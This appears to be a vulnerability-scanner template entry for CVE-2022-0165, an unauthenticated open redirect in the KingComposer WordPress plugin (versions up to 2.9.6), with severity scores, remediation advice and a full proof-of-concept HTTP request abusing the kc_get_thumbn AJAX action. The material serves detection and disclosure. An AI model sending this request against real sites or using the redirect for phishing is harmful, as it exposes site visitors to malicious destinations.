| Title | WordPress Page Builder KingComposer <=2.9.6 - Open Redirect |
|---|---|
| Author | akincibor |
| Severity | Medium |
| Impact | An attacker can exploit this vulnerability to redirect users to malicious websites, leading to phishing attacks or the execution of further attacks. |
| Remediation | Update to the latest version of KingComposer (>=2.9.7) to fix the open redirect vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.52255 |
| CVE ID | CVE-2022-0165 |
| CWE ID | CWE-601 |
| Tags | cve cve2022 wp-plugin redirect wordpress wp wpscan king-theme vuln |
WordPress Page Builder KingComposer 2.9.6 and prior does not validate the id parameter before redirecting the user to it via the kc_get_thumbn AJAX action (which is available to both unauthenticated and authenticated users).
GET /wp-admin/admin-ajax.php?action=kc_get_thumbn&id=https://interact.sh HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/66.0.3359.139 Safari/537.36
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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